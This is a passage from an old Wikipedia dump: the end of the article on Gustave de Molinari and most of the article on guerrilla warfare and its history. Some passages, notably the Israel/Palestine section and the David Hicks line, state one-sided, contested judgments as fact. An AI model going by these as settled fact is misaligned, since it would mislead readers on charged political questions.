::''&quot;The monopoly of government is no better than any other. One does not govern well and, especially not cheaply, when one has no competition to fear, when the ruled are deprived of the right of freely choosing their rulers. Grant a grocer the exclusive right to supply a neighborhood, prevent the inhabitants of this neighborhood from buying any goods from other grocers in the vicinity, or even from supplying their own groceries, and you will see what detestable rubbish the privileged grocer will end up selling and at what prices! You will see how he will grow rich at the expense of the unfortunate consumers, what royal pomp tle will display for the greater glory of the neighborhood. Well! What is true for the lowliest services is no less true for the loftiest. The monopoly of government is worth no more than that of a grocer's shop. The production of security inevitably becomes costly and bad when it is organized as a monopoly. It is in the monopoly of security that lies the principal cause of wars which have laid waste humanity.''&quot;

In the preface to the 1977 English translation [[Murray Rothbard]] called ''The Production of Security'' the &quot;first presentation anywhere in human history of what is now called [[anarcho-capitalism]]&quot; though admitting that &quot;Molinari did not use the terminology, and probably would have balked at the name.&quot; The first known use of the term &quot;capitalism&quot; was not until 1854 by novelist William Thackeray. Morever, capitalism was not defined in terms of an economic system until later in the 20th century. For example, as recently as 1909 the [[Century Dictionary]] defined it as 1) The state of having capital or property; possession of capital. 2) The concentration or massing of capital in the hands of a few; also, the power or influence of large or combined capital.&quot; Additionally, the term &quot;anarchist&quot; was primarily being used as an insult.

In the [[1850s]], Molinari fled to Belgium to escape threats from France's Emperor [[Napoleon III]].  He returned to Paris in the [[1860s]] to work on the influential newspaper, ''[[Le Journal des Debats]]'', which he edited from [[1871]] to [[1876]]. Molinari went on to edit the ''Journal des Économistes'', the publication of the French Political Economy Society, from [[1881]] until [[1909]]. In his [[1899]] book, ''The Society of the Future'', he proposed a federated system of collective security, and reiterated his support for private competing defense agencies.

Molinari's grave is at the [[Père Lachaise]] cemetery in Paris, France.

==See also==
* [[Malthusianism]]

==External links ==
* David Hart's [http://www.arts.adelaide.edu.au/personal/DHart/ClassicalLiberalism/Molinari/ToC.html Gustave De Molinari And The Anti-Statist Liberal Tradition]
* [http://www.econlib.org/library/Molinari/mlnSoc.html The Society of Tomorrow] by Molinari, published electronically by [http://www.econlib.org/ The Library of Economics and Liberty] with annotations, biography, etc.
* Some [http://herve.dequengo.free.fr/Molinari/Molinari.htm works by Molinari] available in original French from [http://herve.dequengo.free.fr/ Hervé de Quengo's site].
* The [http://praxeology.net/molinari.htm Molinari Institute]

[[Category:1819 births|Molinari, Gustave de]]
[[Category:1912 deaths|Molinari, Gustave de]]
[[Category:Belgian economists|Molinari, Gustave de]]
[[Category:Economists|Molinari, Gustave de]]

[[fr:Gustave de Molinari]]
[[nl:Gustave de Molinari]]</text>
    </revision>
  </page>
  <page>
    <title>Guerrilla warfare</title>
    <id>12720</id>
    <revision>
      <id>42139094</id>
      <timestamp>2006-03-04T02:01:34Z</timestamp>
      <contributor>
        <ip>70.49.117.92</ip>
      </contributor>
      <comment>/* Etymology */</comment>
      <text xml:space="preserve">{{History of war}}
:''Guerrilla War redirects here. See also [[Guerrilla War (arcade game)]].''

'''Guerrilla''' (also called a '''partisan''') is a term borrowed from the [[Spanish language|Spanish]] ''guerrilla'' meaning ''little war'', and used to describe small combat groups and the individual members of such groups (see [[#Etymology|Etymology]]). '''Guerrilla warfare''' operates with small, mobile and flexible combat groups called cells, without a [[front line]]. Guerrilla warfare is one of the oldest forms of [[asymmetric warfare]]. Primary contributors to modern theories of guerrilla war include [[Mao Zedong]], [[Wendell Fertig]], [[Regis Debray]], [[Vo Nguyen Giap]], [[Josip Broz Tito]], and [[Che Guevara]]. Later students of guerrilla warfare included Swiss Major [[Hans von Dach]] who wrote the now widely available Swiss Army field manual &quot;Total Resistance&quot;. 

==Etymology==
Guerrilla, from the [[Spanish language|Spanish]] term ''guerra'', or ''War'', with the ''-illa'' ending diminutive, could be translated as ''small war''. The term was invented in [[Spain]] to describe the tactics used to resist the [[France|French]] [[regime]] instituted by [[Napoleon I of France|Napoleon Bonaparte]]. The -illa term accepts the inequal fight between civilians against an organized State Army. Its meaning was soon broadened to refer to any similar resistance of any time or place. The Spanish word for guerrilla fighter is ''guerrillero''. The change of usage of ''guerrilla'' from the tactics employed to the person implementing them is a late [[19th century]] mistake: in most languages the word still denotes the specific style of warfare. However, this is changing under the influence of broad English usage.

==Tactics==
Guerrilla tactics are based on [[intelligence]], [[ambush]], [[deception]], [[sabotage]], and [[espionage]], and their ultimate objective is usually to destabilize an authority through long, low-intensity confrontation. It can be quite successful against an unpopular foreign regime: a guerrilla army may increase the cost of maintaining an occupation or a colonial presence above what the foreign [[power (international)|power]] may wish to bear.

Commando operations are not guerrilla warfare (Richard Taber, “The War of the Flea : Guerrilla Warfare, Theory and Practice”. Paladin, London, 1977) while they lack the political goal. Commando troops, as the British commando, were a branch of the armed forces. Guerrilla warfare is the expression of [[Sun Tzu|Sun Tzu's]] [[The Art of War|Art of War]], in contrast to [[Carl von Clausewitz|Clausewitz's]] [[Total war|unlimited use of brute force]].

However, guerrilla warfare has generally been unsuccessful against native regimes, which have nowhere to retreat to and are highly knowledgeable about their own people, society, and culture. The rare examples of successful guerrilla warfare against a native regime include the [[Cuban Revolution]] and the [[Chinese Civil War]], as well as the [[Sandinista]] overthrow of a military dictatorship in [[Nicaragua]]. More common are the unsuccessful examples of guerrilla warfare, which include [[Malaysia]] (then [[Federation of Malaya|Malaya]]) during the [[Malayan Emergency]], [[Bolivia]], [[Argentina]], and the [[Philippines]]. The [[Tamil Tigers|Liberation Tigers of Tamil Eelam]] (LTTE), fighting for an independent homeland in the north and east of [[Sri Lanka]], achieved significant military successes against the Sri Lankan military and the government itself for twenty years. It was even able to use these tactics effectively against the [[IPKF]] forces sent by India in the mid-1980s, which were later withdrawn for varied reasons, primarily political. The mutual attrition on both sides in the island led to a ceasefire following the [[September 11, 2001 attacks]].

Guerrillas in wars against foreign powers do not principally direct their attacks at civilians, as they desire to obtain as much support as possible from the population as part of their tactics. Civilians are primarily attacked or assassinated as punishment for [[collaboration]]. Often such an attack will be officially sanctioned by guerrilla command or tribunal. An exception is in [[civil war]]s, where both guerrilla groups and organized armies have been known to commit [[atrocity|atrocities]] against the civilian population.

[[Mao Zedong]], during the Chinese civil war, summarized the Red Army's principles of warfare in the following points for his troops: ''The enemy advances, we retreat. The enemy camps, we harass. The enemy tires, we attack. The enemy retreats, we pursue.''  Mao made a distinction between [[Mobile Warfare]] (''yundong zhan'') and Guerrilla Warfare (''youji zhan'').

[[Michael Collins (Irish leader)|Michael Collins]] of the [[Irish Republican Army]], who orchestrated the [[Anglo-Irish war]] of 1919-1921, had a more succinct principle behind his campaign of intelligence, assassination, and propaganda: create &quot;bloody mayhem&quot;.

Guerrillas are often characterized as [[terrorism|terrorists]] by their opponents, as part of psychological warfare. Guerrillas are in danger of not being recognized as lawful [[combatant|combatants]] because they may not wear a [[uniform]], (to mingle with the local population), or their uniform and distinctive emblems may not be recognised as such by their opponents. Article 44, sections 3 and 4 of the [[1977]] [[Protocol I|First Additional Protocol]] to the [[Geneva Conventions]], &quot;relating to the Protection of Victims of International Armed Conflicts&quot;, does recognise combatants who, due to the nature of the conflict, do not wear uniforms as long as they carry their weapons openly during military operations. This gives non-uniformed guerrillas lawful combatant status against countries that have ratified this convention. However the same protocol states in Article 37.1.c that &quot;''the feigning of civilian, non-combatant status''&quot; shall constitute [[perfidy]] and is prohibited by the Geneva Conventions.

Guerrilla warfare is classified into two main categories: urban guerrilla warfare and rural guerrilla warfare. In both cases, guerrillas rely on a friendly population to provide supplies and intelligence. Rural guerrillas prefer to operate in regions providing plenty of cover and concealment, especially heavily forested and mountainous areas. Urban guerrillas, rather than melting into the mountains and jungles, blend into the population and are also dependent on a support base among the people. 

Foreign support in the form of soldiers, weapons, sanctuary, or, at the very least, statements of sympathy for the guerrillas can greatly increase the chances of victory for an insurgency. However, it is not always necessary.

[[Mao Zedong|Maoist]] theory of people's war divides warfare into three phases. In the first phase, the guerrillas gain the support of the population through attacks on the machinery of government and the distribution of [[propaganda]]. In the second phase, escalating attacks are made on the government's [[military]] and vital institutions. In the third phase, conventional fighting is used to seize cities, overthrow the government, and take control of the country.

Guerrilla Tactics were summarized into the ''' Minimanual of the Urban Guerrilla{{ref|refbot.779}}'' in [[1969]] by [[Carlos Marighella]]. This text was banned in several countries including the United States. This is probably the most comprehensive and informative book on guerrilla strategy ever published, and is available free online.  Texts by Che Guevara and Mao Zedong on guerrilla warfare are also available.

John Keats wrote about an American guerrilla leader in World War 2: Colonel [[Wendell Fertig]], who in [[1942]] organized a large force of guerrillas who harassed the Japanese occupation forces on the Philippine Island of Mindanao all the way up to the liberation of the Philippines in [[1945]]. His abilities were later utilized by the United States Army, when Fertig helped found the United States Army Special Warfare School at [[Fort Bragg, North Carolina]]. Others included Col. Aaron Bank and Col. Russell Volckmann. Volckmann, in particular, commanded a guerrilla force which operated out of the Cordillera of Northern Luzon, in the Philippines from the beginning of World War II to its conclusion. He remained in radio contact with US Forces, prior to the invasion of [[Lingayen Gulf]]. 

Guerrilla warfare sometimes involves surrounding nations, which are affected by a popular uprising against the neighbouring government. A case in point was the [[Mukti Bahini]] guerrillas who fought alongside the [[Indian Army]] in the 14-day [[Bangladesh Liberation War]] in [[1971]] against [[Pakistan]] that resulted in the creation of the state of [[Bangladesh]].

[[T.E.Lawrence]], best known as &quot;Lawrence of Arabia,&quot; introduced a theory of guerrilla warfare tactics in an article he wrote for the Encyclopedia Britannica published in 1938. In that article, he compared guerrilla fighters to a gas. The fighters disperse in the area of operations more or less randomly. They or their cells occupy a very small intrinsic space in that area, just as gas molecules occupy a very small intrinsic space in a container. The fighters may coalesce into groups for tactical purposes, but their general state is dispersed. Such fighters cannot be &quot;rounded up.&quot; They cannot be contained. They are extremely difficult to &quot;defeat&quot; because they cannot be brought to battle in significant numbers. The cost in soldiers and material to destroy a significant number of them becomes prohibitive, in all senses, that is physically, economically, morally, etc. It should be noted that Lawrence describes a non-native occupying force as the enemy (e.g. the Turks).

==Examples==
Examples of successful guerrilla warfare:
* [[Algeria]]
* [[Angola]]
* [[Afghanistan]]
* portions of the [[American Revolution]]
* [[East Timor]]
* [[Indonesia]]
* [[Mozambique]]
* portions of the [[Wars of Scottish Independence]]; notably, actions led by [[Robert the Bruce]]
* [[Anglo-Irish War]] [[1919]]-[[1921]]
* [[Viet-Cong]] forces throughout the [[Vietnam War]] in the early 1960s.

In many cases, guerrilla tactics allow a small force to hold off a much larger and better equipped enemy for a long time, as in the [[Second Chechen War]] and the [[Second Seminole War]].

===Guerrillas in [[Europe]]===

Over centuries of history, many guerrilla movements appeared in Europe to fight foreign occupation forces. The tactics of [[Roman dictator]] [[Quintus Fabius Maximus]] against [[Hannibal]] could be considered a predecessor of guerrilla tactics. In expanding their own Empire, the Romans encountered numerous examples of guerrilla resistance to their legions. During [[The Deluge]] in [[Poland]] guerrilla tactics were applied. In the [[19th century]], peoples of the [[Balkans]] used guerrilla tactics to fight the [[Ottoman empire]]. In [[17th century]] [[Ireland]], Irish irregulars called [[tories]] and [[rapparees]] used guerrilla warfare in the [[Irish Confederate Wars]] and the [[Williamite war in Ireland]]. In India in the [[17th Century]], an Indian self-proclaimed leader and king &quot;[[Shivaji]] Bhonsle&quot; revolted against the ruling Mughal using guerrilla tactics.

====Europe 1800-1900====
=====Napoleonic Wars=====
In the [[Napoleonic Wars]] many of the armies lived off the land. This often led to some resistance by the local population if the army did not pay fair prices for produce they consumed. Usually this resistance was sporadic, and not very successful, so it is not classified as guerrilla action. There are three notable exceptions, though:

* The rebellion in the  [[Tyrol]] of [[1809]] led by  [[Andreas Hofer]].

* In [[Napoleon's invasion of Russia]] of [[1812]]  two actions were ordered by  [[Tsar]] [[Alexander I of Russia|Alexander]] which could be seen as initiating guerrilla tactics. [[The Burning of Moscow]] after it had been occupied by the Napoleon's [[Grand Army]], so depriving the French of shelter in the city, is a classic guerrilla action. The second was his imperial command that the Russian serfs should attack the French. This did not so much spark a guerrilla war as encourage a revengeful slaughter.

* In the [[Peninsular War]] the British, encouraged by the spontaneous mass resistance in Spain against Napoleon, gave aid to the Spanish guerrillas who tied down tens of thousands of French troops. The continual losses of troops caused Napoleon to describe this conflict his &quot;Spanish ulcer&quot;. The  British gave this aid because it cost them much less than it would have done to equip British soldiers to face the French troops in conventional warfare. This was one of the  most successful partisan wars in history and was where the word ''guerrilla'' was first used in this context.  The [[Oxford English Dictionary]] lists [[Wellington]] as the oldest known source, speaking of &quot;Guerillas&quot; in 1809.

Poet [[William Wordsworth]], a former radical turned conservative, showed a surprising early insight into guerrilla methods in his pamphlet on the [[Convention of Cintra]].  
* &quot;It is manifest that, though a great army may easily defeat or disperse another army, less or greater, yet it is not in a like degree formidable to a determined people, nor efficient in a like degree to subdue them, or to keep them in subjugation–much less if this people, like those of Spain in the present instance, be numerous, and, like them, inhabit a territory extensive and strong by nature. For a great army, and even several great armies, cannot accomplish this by marching about the country, unbroken, but each must split itself into many portions, and the several detachments become weak accordingly, not merely as they are small in size, but because the soldiery, acting thus, necessarily relinquish much of that part of their superiority, which lies in what may be called the enginery of war; and far more, because they lose, in proportion as they are broken, the power of profiting by the military skill of the Commanders, or by their own military habits. The experienced soldier is thus brought down nearer to the plain ground of the inexperienced, man to the level of man: and it is then, that the truly brave man rises, the man of good hopes and purposes; and superiority in moral brings with it superiority in physical power.” (''William Wordsworth: Selected Prose'', [[Penguin Classics]] 1988, page 177-8.)

===== Others =====
*In [[1848]], both [[The Nation (Irish newspaper)|''The Nation'']] and [[United Irishman|''The United Irishman'']] advocated guerrilla warfare to overthrow English rule in [[Ireland]], though no actual warfare took place.

*The [[Poland|Poles]] used guerrilla warfare during the [[January Uprising]] of 1863 - 1865, against [[Tsarist Russia]].

====Europe 1900 &amp;ndash; 2000 ====
===== Anglo&amp;ndash;Irish War =====
The wars between '''Ireland''' and the '''United Kingdom''' have been long and over the centuries have covered the full spectrum of the types of warfare. The Irish  fought the first successful 20th century war of independence against the British Empire and the United Kingdom. After the military failure of the [[Easter Rising]] in [[1916]], the [[Irish Republican Army]] (IRA) resorted to guerrilla tactics involving both [[urban warfare]] and [[flying column]]s in the countryside during the [[Anglo-Irish War]] (War of Independence) of [[1919]] to [[1921]]. The British security forces were fought to a standstill and the government of the UK agreed to meet representatives of the Irish uprising to negotiate a settlement. The settlement which resulted &amp;mdash; the [[Anglo-Irish Treaty]] &amp;mdash; satisfied few. It created the [[Irish Free State]] of 26 counties as a dominion within the British Empire; the other 6 counties remained part of the UK. The '''IRA''' fought an unsuccessful [[Irish Civil War|Civil War]] (1921-23) against the '''Irish free staters''' using tactics similar to those used against the British but lost. The partition of Ireland laid the seeds for the later [[the Troubles|troubles]].

===== World War II =====
[[Image:Soviet guerilla.jpg|thumb|right|250px|Soviet partisan fighters behind German lines in Belarus in 1943]]
In [[World War II]], several guerrilla organisations (often known as [[resistance movement|resistance movements]]) operated in the countries occupied by [[Nazi Germany]]. These included the Polish [[Home Army]], [[Soviet partisans]] (see also [[Russian Guerrilla Warfare of WWII]]), [[National Liberation Army of Yugoslavia|Yugoslav Partisans]], Bulgarian NOVA ,[[French resistance]] or [[Maquis (WW2)|Maquis]], Italian partisans, [[ELAS]] and royalist forces in [[Greece]]. Many of these organisations received help from the [[Special Operations Executive]] (SOE) which along with the [[British Commando|commandos]] was initiated by [[Winston Churchill]]  to &quot;''&quot;set Europe ablaze&quot;''. The SOE was originally designated as 'Section D' of [[MI6]] but its aid to resistance movements to start fires clashed with MI6's primary  role as an intelligence-gathering agency. When Britain was under threat of invasion, SOE trained [[Auxiliary Units]] to conduct guerrilla warfare in the event of invasion. Not only did SOE help the resistance to tie down many German units as garrison troops, so directly aiding the conventional war effort, but also guerrilla incidents in occupied countries were useful in the propaganda war, helping to repudiate German claims that the occupied countries were pacified and broadly on the side of the Germans. When the [[USA]] entered the war, the US [[Office of Strategic Services]] (OSS) co-operated and enhanced the work of SOE as well as working on its own initiatives in the Far East. Even the [[Home Guard]] were trained in guerilla warfare in the case of invasion of England. [[Osterly Park]] was the first of 3 such school established to train the Home Guard.

===== Post World War II =====
After World War II, during [[1940s]] and [[1950s]], thousands of fighters in [[Estonia]], [[Latvia]] and [[Lithuania]] participated in unsuccessful guerrilla warfare against Soviet occupation.

In the late [[1960s]] [[the Troubles]] started in [[Northern Ireland]]. They had their seeds in the Anglo-Irish War, and came to an end with the signing of the [[Good Friday Agreement]] in the [[1900s|mid-1990s]] (1998). The peace is fragile and it is too early to tell if a permanent end to the conflict has occurred and which group, if any, won. Although both loyalist and republican paramilitaries carried out terrorist atrocities against [[civilian]]s which were often tit-for-tat, a case can be made for saying that attacks such as the [[Provisional Irish Republican Army|Provisional IRA]] carried out on British soldiers at [[Warrenpoint]] in [[1979]] was a well planned guerrilla ambush {{ref|news.bbc.co.uk.780}}. The [[PIRA]], [[Loyalist]] [[paramilitary|paramilitaries]] and various anti-[[Good Friday Agreement]] splinter-groups could be called guerrillas but are usually called terrorists by both the [[United Kingdom|British]] and [[Ireland|Irish]] governments. The news media such as the [[BBC]] and [[CNN]] will often use the term &quot;gunmen&quot; as in ''&quot;IRA gunmen&quot; {{ref|www.bbc.co.uk.781}} or &quot;Loyalist gunmen&quot; {{ref|www.cnn.com.782}} committed a &quot;terrorist&quot; act''. Since 1995 CNN also uses guerrilla as in ''&quot;IRA guerrilla&quot; and &quot;Protestant guerrilla&quot; {{ref|www.cnn.com.783}}''. [[Reuters]], in accordance with its principle of not using the word terrorist except in direct quotes, refers to &quot;''guerrilla groups''&quot;{{ref|www.reuters.co.uk.784}}.

==== Europe 2000 &amp;ndash; present ====
Currently, the [[Basque people|Basque]] [[ETA]] and [[Corsica]]n [[FLNC]] and other groups such as the [[History of Modern Greece|Greek]] [[Marxist]] [[Revolutionary Organization 17 November]] claim to be guerrillas, but are commonly recognized as terrorists since they have murdered civilians on some occasions (collateral damages according to them) and not always purely legitimate military targets. Furthermore, this is how the governments and media of their respective countries (foreign invader governments according to these groups) prefer to refer to them. 

The ongoing war between pro-independence groups in [[Chechnya]] and the Russian government is currently the most active guerrilla war in Europe. Most of the incidents reported by the Western news media are very gory terrorist acts against Russian civilians committed by Chechen separatists outside Chechnya. However, within Chechnya the war has many of the characteristics of a classic guerrilla war. See the article [[History of Chechnya]] for more details.

=== Guerrillas in the American Revolutionary War ===
While the [[American Revolutionary War]] is often thought of as a guerrilla war, guerrilla tactics were uncommon, and almost all of the battles involved conventional set-piece battles. Some of the confusion may be due to the fact that generals [[George Washington]] and [[Nathaniel Greene]] successfully used a strategy of harassment and progressively grinding down British forces instead of seeking a decisive battle, in a classic example of [[asymmetric warfare]]. Nevertheless the theater tactics used by most of the American forces were those of conventional warfare. One of the exceptions was in the south, where the brunt of the war was upon [[militia]] forces who fought the enemy [[Kingdom of Great Britain|British]] troops and their [[Loyalist]] supporters, but used concealment, surprise, and other guerrilla tactics to much advantage. General [[Francis Marion]] of [[South Carolina]], who often attacked the British at unexpected places and then would fade into the swamps by the time the British were able to get organized enough to return fire, was named by them ''The Swamp Fox''. However, even in the south, most of the major engagements were set-piece battles of conventional warfare. See also [[Ethan Allen]] and the [[Green Mountain Boys]], for another Revolutionary example.

===Guerrillas in the American Civil War===
Irregular warfare in the [[American Civil War]] followed the patterns of irregular warfare in 19th century Europe. Structually, irregular warfare can be divided into three different types conducted during the Civil War: 'People's War', 'partisan warfare', and 'raiding warfare'. The concept of 'People's war,' first described by Clausewitz in ''On War'', was the closest example of a mass guerrilla movement in the era. In general, this type of irregular warfare was conducted in the hinterland of the Border States (Missouri, Arkansas, Tennessee, Kentucky, and northwestern Virginia), and was marked by a vicious neighbor against neighbor quality. One such example was the opposing irregular forces operating in Missouri and northern Arkansas from [[1862]] to [[1865]], most of which were pro-[[Confederate States of America|Confederate]] or pro-[[Union (American Civil War)|Union]] in name only and preyed on civilians and isolated military forces of both sides with little regard of politics. From these semi-organized guerrillas, several groups formed and were given some measure of legitimacy by their governments. [[Quantrill's Raiders]], who terrorized pro-Union civilians and fought Federal troops in large areas of Missouri and Kansas, was one such unit. Another notorious unit, with debatable ties to the Confederate military, was led by [[Champ Ferguson]] along the Kentucky-Tennessee border. Ferguson became one of the only figures of Confederate cause to be executed after the war. Dozens of other small, localized bands terrorized the countryside throughout the border region during the war, bringing total war to the area that lasted until the end of the Civil War and, in some areas, beyond.

Partisan warfare, in contrast, more closely resembles Commando operations of the 20th century. Partisans were small units of conventional forces, controlled and organized by a military force for operations behind enemy lines. The 1862 Partisan Ranger Act passed by the Confederate Congress authorized the formation of these units and gave them legitimacy, which placed them in a different category than the common 'bushwhacker' or 'guerrilla'. [[John Singleton Mosby]] formed a partisan unit during the [[American Civil War]] which was very effective in tying down Federal forces behind Union lines in northern Virginia in the last two years of the war.

Lastly, deep raids by conventional cavalry forces were often considered 'irregular' in nature. The &quot;Partisan Brigades&quot; of [[Nathan Bedford Forrest]] and [[John Hunt Morgan]] operated as part of the cavalry forces of the [[Confederate Army of Tennessee]] in [[1862]] and [[1863]]. They were given specific missions to destroy logistical hubs, railroad bridges, and other strategic targets to support the greater mission of the Army of Tennessee. By mid-1863, with the destruction of Morgan's raiders during the [[Morgan's Raid|Great Raid of 1863]], the Confederacy conducted few deep cavalry raids in the latter years of the war, mostly due to the losses in experienced horsemen and the offensive operations of the Union army. Federal cavalry conducted several successful raids during the war but in general used their cavalry forces in a more conventional role. A good exception was the 1863 [[Grierson's Raid]], which did much to set the stage for General [[Ulysses S. Grant]]'s victory during the [[Vicksburg Campaign]].

Federal counter-guerrilla operations were very successful in preventing the success of Confederate guerrilla warfare. In [[Arkansas]], Federal forces used a wide variety of strategies to defeat irregulars. These included the use of Arkansas [[Unionist]] forces as anti-guerrilla troops, the use of riverine forces such as gunboats to control the waterways, and the [[provost marshal]] military law enforcement system to spy on suspected guerrillas and to imprison those captured. Against Confederate raiders, the Federal army developed an effective cavalry themselves and reinforced that system by a large number of blockhouses and fortification to defend strategic targets.  Federal attempts to defeat Mosby's Partisan Rangers fell short of success due to Mosby's use of very small units (10&amp;ndash;15 men) operating in areas considered friendly to the Rebel cause.

In the late [[20th century]] several historians have focused on the non-use of guerrilla warfare to prolong the war. Near the end of the war, there were those in the [[Confederate]] government, notably [[Jefferson Davis]] who advocated continuing the southern fight as a guerrilla conflict. He was opposed by generals such as [[Robert E. Lee]] who ultimately believed that surrender and reconciliation were better than guerrilla warfare.

===Guerrilla warfare during the Second Sino-Japanese War===
Despite a common misconception, both Nationalist and Communist forces were active underground resistance in Japanese-occupied areas during the [[Second Sino-Japanese War]]. Even before the outbreak of total war in [[1937]], partisans were already present in [[Manchuria]] hampering Japan's occupation of the region. After the initial phases of the war, when large swaths of the [[North China Plain]] rapidly fell to the Japanese, underground resistance, supported by either Communist sympathisers or composed of disguised Nationalist soldiers, would soon rise up to combat the garrison forces. They were quite successful, able to sabotage railorad routes and ambush reinforcements. Many major campaigns, such as the four failed invasions of [[Changsha]], were caused by overly-stretched supply lines, lack of reinforcements, and ambushes by irregulars. The Communist cells, many having decades of prior experience in guerrilla warfare against the Nationalists, usually fared much better, and many Nationalist underground groups were subsequently absorbed into Communist ones. Usually in Japanese-occupied areas, the IJA only controlled the cities and railroad routes, with most of them countryside either left alone or with active guerrilla presence. The [[People's Republic of China]] has emphasised their contribution to the Chinese war effort, going as far to say that in addition to a &quot;overt theatre&quot;, which in many cases they deny was effective, there was also a &quot;covert theatre&quot;, which they claim did much to stop the Japanese advance.

=== Guerrilla Warfare in the Chinese Civil War ===
Both before and after the Sino-Japanese War, there was continuous fighting between Nationalists and Communists.  The Communists used a mix of Guerrilla Warfare and [[Mobile Warfare]], with guerrillas harassing and regular armies striking unexpectedly.  On several different fronts, most notably Manchuria, this mix wore down the much larger Nationalist forces.

===Guerrilla Warfare in the Pacific and East Asian theatre of World War II===
There was guerrilla fighting in [[Pacific War|Pacific and East Asian theatre of World War II]]. Japan's invasion of China also prompted guerrilla activity in rural areas of occupied China. The Chinese became increasingly successful during the war, and tied down Japanese troops in China throughout the war. US troops working with Filipino guerrillas conducted guerrilla warfare against the Japanese in the Philippines, as did Allied forces in the [[South-East Asian theatre of World War II|South-East Asian theatre]].

See also [[OSS Detachment 101]], [[V Force]], [[Force 136]], [[Special Operations Australia]] (codenamed Force 137), [[Malayan People’s Anti-Japanese Army]], [[Viet Minh]]

=== Guerrillas in Israel and the Palestinian Territories===
European Jews fleeing from [[anti-Semitic]] violence (especially Russian [[pogroms]]) immigrated in increasing numbers to [[Palestine]].  When the British restricted Jewish immigration to the region (see [[White Paper of 1939]]), Jewish Palestinians began to use a type of guerrilla warfare for two purposes: to bring in more Jewish refugees, and to turn the tide of British sentiment at home.  Jewish groups such as the [[Stern Gang]] and the [[Irgun]] - many of whom had experience in the Warsaw ghetto battles against the Nazis, fought British soldiers whenever they could, including the bombing of the [[King David Hotel]].  This act of violence, while certainly guerrilla warfare, cannot be considered terrorism because of the warning given hours beforehand for civilians to leave.  Terrorism, by definition, involves the deliberate targeting of civilians, which early Israelis did not consider justifiable.

The creation of the state of Israel might be considered one of the greatest achievements of guerrilla warfare.  The Jewish forces were a spontaneous group of civilians working without formal military structure, fighting the British Empire that had just emerged victorious from World War II.

(Read about the amalgamation of these guerrilla groups into the [[Israel Defence Force]] and subsequent victory over its Arab neighbors in the [[1948 War of Independence]])

Palestinians initiated their own guerrilla warfare against the new Jewish state, including [[Yasser Arafat]], whose PLO called for the destruction of Israel in 1964, 3 years before the [[Six-Day War]].  The use of terrorism has become the norm for the Palestinian cause, targeting women and children in addition to Israeli combatants.  This guerrilla warfare, unlike the type used by Jews pre-1948, is contrary to the rules of war and the [[Geneva Conventions]] because of its deliberate targeting of innocent civilians.

=== Guerrillas in Latin America ===
In the [[Mexican Revolution]] from 1913 to 1920, the populist revolutionary leader [[Emiliano Zapata]] employed the use of predominately guerrilla tactics. His forces, composed entirely of peasant farmers turned soldiers, wore no uniform and would easily blend into the general population after an operation's completion. They would have young soldiers, called &quot;dynamite boys&quot;, hurl cans filled with explosives into enemy barracks, and then a large number of lightly armed soldiers would emerge from the surrounding area to attack it. Although Zapata's forces met considerable success, his strategy backfired as government troops, unable to distinguish his soldiers from the normal population, waged a broad and brutal campaign against the latter.

In the [[1960s]], [[1970s]], and [[1980s]], [[Latin America]] had a number of [[urban guerrilla]] movements whose strategy was to destabilize regimes and provoke a counter-reaction by the military. The theory was that a harsh military regime would oppress the [[middle class]]es who would then support the guerrillas and create a popular uprising.

While these movements did destabilize governments, such as [[Argentina]], [[Uruguay]], [[Guatemala]], and [[Peru]] to the point of military intervention, the military generally proceeded to completely wipe out the guerrilla movements, usually committing several [[atrocities]] among both civilians and armed insurgents in the process.

Several other [[left-wing]] guerrilla movements, often backed by [[Cuba]] and/or the [[Soviet Union]], attempted to overthrow US-backed governments or [[right-wing]] military [[dictatorship]]s. US-backed [[Contra]] guerrillas attempted to overthrow the left-wing elected [[Sandinista]] government of Nicaragua, though most of these groups should be considered mercenary juntas rather than rooted guerrillas.

===South African War===
Guerrilla tactics were used extensivley by the forces of the [[Afrikaner]] republics in the [[Second Boer War]] in [[South Africa]] 1899-1902. After the British defeated the Boer armies in conventional warfare and occupied their capitals of [[Pretoria]] and [[Bloemfontein]], Boer [[commandos]] reverted to mobile warfare. Units led by leaders such as [[Christian de Wet]] harassed slow-moving British columns and attacked railway lines and encampments. The Boers were almost all mounted and possessed long range magazine loaded rifles. This gave them the ability to attack quickly and cause many casualties before retreating rapidly when British reinforcements arrived. In the early period of the guerrilla war, Boer commandoes could be very large, containing several thousand men and even field artillery. However, as their supplies of food and ammunition gave out, the Boers increasingly broke up into smaller units and relied on captured British arms and ammunition.

To counter these tactics, the British under [[Kitchener]] interned Boer civilians into [[concentration camps]] and built hundreds of blockhouses all over the Transvaal and Orange Free State. Eventually, the Boer guerrillas surrendered in 1902, but the British granted them generous terms in order to bring the war to an end. This showed how effective guerrilla tactics could be in extracting concessions from a militarily more powerful  enemy.

===Disputed Territory of Kashmir===
Kashmiri guerrillas constantly cause destruction in the Disputed Territory of [[Kashmir]]. The territory has been disputed between both [[India]] and [[Pakistan]], India has accused Pakistan of training and aiding these guerrillas in the past. Guerrillas were known to aid Pakistan during the [[1999 Kargil Conflict]].

The territory has been disputed since the Indo-Pakistani Partition in 1947. Many guerrillas fight for an independent Kashmiri state, something which both governments fight against, other guerrillas wish to annex parts of Kashmir into Pakistani-Administered Kashmir. Known terrorists such as [[David Hicks]] have been accused of participating in guerrilla activities in Kashmir.

===Vietnam War===
Within the [[United States]], the [[Vietnam War]] is commonly thought of as a guerrilla war. However this is a simplification of a much more complex situation which followed the pattern outlined by Maoist theory.

The [[National Front for the Liberation of Vietnam|National Liberation Front]] (NLF), drawing its ranks from the South Vietnamese peasantry and working class, used guerrilla tactics in the early phases of the war. However, by [[1965]] when U.S. involvement escalated, the National Liberation Front was in the process of being supplanted by regular units of the [[North Vietnamese Army]].

The [[North Vietnamese Army|NVA]] regiments organized along traditional military lines, were supplied via the [[Ho Chi Minh trail]] rather than living off the land, and had access to weapons such as [[tank]]s and [[artillery]] which are not normally used by guerrilla forces.

Over time, more of the fighting was conducted by the North Vietnamese Army and the character of the war become increasingly conventional. The final offensive into [[South Vietnam]] in [[1975]] was a mostly conventional military operation in which guerilla warfare played a minor, supporting role.

=== Guerrilla warfare in Kosovo, Afghanistan, and Kurdish Northern [[Iraq]] ===
